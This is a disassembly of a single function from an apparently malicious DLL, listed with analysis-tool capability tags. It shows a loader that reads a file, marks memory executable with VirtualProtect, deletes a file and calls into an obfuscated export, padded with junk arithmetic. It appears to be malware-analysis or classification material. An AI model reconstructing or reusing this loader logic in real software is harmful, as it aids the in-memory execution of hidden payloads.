Function at 0x10002980
Capabilities:
Allocate or change rwx memory
Delete file
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x308
mov eax, dword [0x10026470]
xor eax, ebp
mov dword [ebp - 0xb4], eax
push esi
push edi
mov ecx, 0xe
mov esi, str.bs7iirpcigvr21di524p9eda08tl
lea edi, [ebp - 0x2c0]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x1ce
push 0
lea eax, [ebp - 0x286]
push eax
call fcn.1000ec50
add esp, 0xc
mov byte [0x10027404], 0xa
movzx ecx, byte [0x10027404]
push ecx
push str.UmJZziUAKpTjhZW
call sym.bazaggdgz.dll_TROUHcNvlBqor
add esp, 8
mov dword [0x100287c0], eax
xor edx, edx
mov byte [0x10027405], dl
mov ecx, dword [0x100273fc]
imul ecx, ecx, 3
neg ecx
mov eax, dword [0x100287bc]
sar eax, cl
mov dword [0x100273fc], eax
cmp dword [0x100273fc], 0
jge 0x10002a39
movzx ecx, byte [0x100273f3]
imul ecx, ecx, 7
mov edx, dword [0x100287bc]
lea eax, [edx + ecx - 0xa]
mov dword [ebp - 0x2fc], eax
fild dword [ebp - 0x2fc]
fdiv dword [0x100273f8]
fstp dword [0x100273f8]
jmp 0x10002a58
mov ecx, dword [0x100287cc]
sar ecx, 7
test ecx, ecx
je 0x10002a58
fild dword [0x100273fc]
fsubr dword [0x100273f8]
fstp dword [0x100273f8]
fld dword [0x100273f4]
fsub dword [0x100273f8]
fldz
fucompp
fnstsw ax
test ah, 0x44
jnp 0x10002aa1
fld dword [0x100273f4]
fmul qword [0x10021440]
fdiv qword [0x10021438]
fstp dword [ebp - 0x300]
fld dword [ebp - 0x300]
push ecx
fstp dword [esp]
call fcn.10001090
add esp, 4
fstp dword [0x100273f8]
jmp 0x10002af8
mov edx, dword [0x100273fc]
sub edx, dword [0x100287bc]
je 0x10002af8
mov eax, dword [0x100287bc]
imul eax, eax, 6
movzx ecx, byte [0x100273f3]
add eax, ecx
mov dword [ebp - 0x304], eax
fild dword [ebp - 0x304]
fadd dword [0x100273f4]
fstp dword [ebp - 0x308]
fld dword [ebp - 0x308]
push ecx
fstp dword [esp]
call fcn.10001090
add esp, 4
fmul qword [0x10021430]
fchs
fstp dword [0x100273f8]
push 1
push 0x40
push 0x24
mov edx, dword [ebp + 8]
push edx
lea ecx, [ebp - 0xb0]
call fcn.100044b0
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax + 4]
lea ecx, [ebp + ecx - 0xb0]
call fcn.10001ee0
movzx edx, al
test edx, edx
je 0x10002cdc
push 0x14
call fcn.10009352
add esp, 4
mov dword [ebp - 0x2d8], eax
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x2c8], eax
xor ecx, ecx
mov edx, dword [ebp - 0x2c8]
mov dword [edx], ecx
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], ecx
push 1
mov eax, dword [ebp - 0x2c8]
push eax
call sym.bazaggdgz.dll_vrscplvuslwltvl
add esp, 8
lea ecx, [ebp - 0x2f0]
push ecx
lea ecx, [ebp - 0xb0]
call fcn.10003e40
mov ecx, eax
call fcn.10005220
mov edx, dword [0x10028d5c]
mov dword [edx], eax
push str.auNYOMZbQcDxYj
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
push 0
push 0
lea ecx, [ebp - 0xb0]
call fcn.10003db0
mov dword [0x10027410], 5
mov dword [0x10028d54], 0x1002115c
mov byte [ebp - 0x2f1], 0x5c
lea eax, [ebp - 0x2f1]
push eax
push 0x100286b9
call fcn.10001190
add esp, 8
push 0x10027410
mov ecx, dword [0x10028d54]
push ecx
call sym.bazaggdgz.dll_qfduyfdlphmovn
add esp, 8
mov edx, dword [0x10028d5c]
mov eax, dword [edx]
push eax
call fcn.10008821
add esp, 4
mov dword [0x10028d50], eax
mov ecx, dword [0x100287cc]
imul ecx, ecx, 7
mov esi, dword [0x100287cc]
imul esi, esi, 5
add esi, 2
mov eax, 0x11d
cdq
idiv esi
add ecx, eax
mov dword [0x100273fc], ecx
push 0x10027410
push str.kscrqvyhwgulVqKQJlYzBrGfh
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
cmp dword [0x10027410], 1
jne 0x10002c51
lea edx, [ebp - 0x2c0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [0x10028d5c]
mov ecx, dword [eax]
xor edx, edx
push edx
push ecx
mov eax, dword [0x10028d50]
push eax
lea ecx, [ebp - 0xb0]
call fcn.10003c60
lea ecx, [ebp - 0x2c4]
push ecx
push 0x40
mov edx, dword [0x10028d5c]
mov eax, dword [edx]
push eax
mov ecx, dword [0x10028d50]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [ebp - 0x2d4], 0x73
mov byte [ebp - 0x2d3], 0x34
mov byte [ebp - 0x2d2], 0x57
mov byte [ebp - 0x2d1], 0x3e
mov byte [ebp - 0x2d0], 0
xor edx, edx
mov dword [ebp - 0x2cf], edx
mov byte [ebp - 0x2cb], dl
lea eax, [ebp - 0x2d4]
push eax
call sym.bazaggdgz.dll_wwsznnwdtdhjk
add esp, 4
mov dword [0x10028d58], eax
lea ecx, [ebp - 0xb0]
call fcn.10004630
mov dword [ebp - 0x2f8], 1
lea ecx, [ebp - 0xb0]
call fcn.10002d10
mov eax, dword [ebp - 0x2f8]
pop edi
pop esi
mov ecx, dword [ebp - 0xb4]
xor ecx, ebp
call fcn.10007df5
mov esp, ebp
pop ebp
ret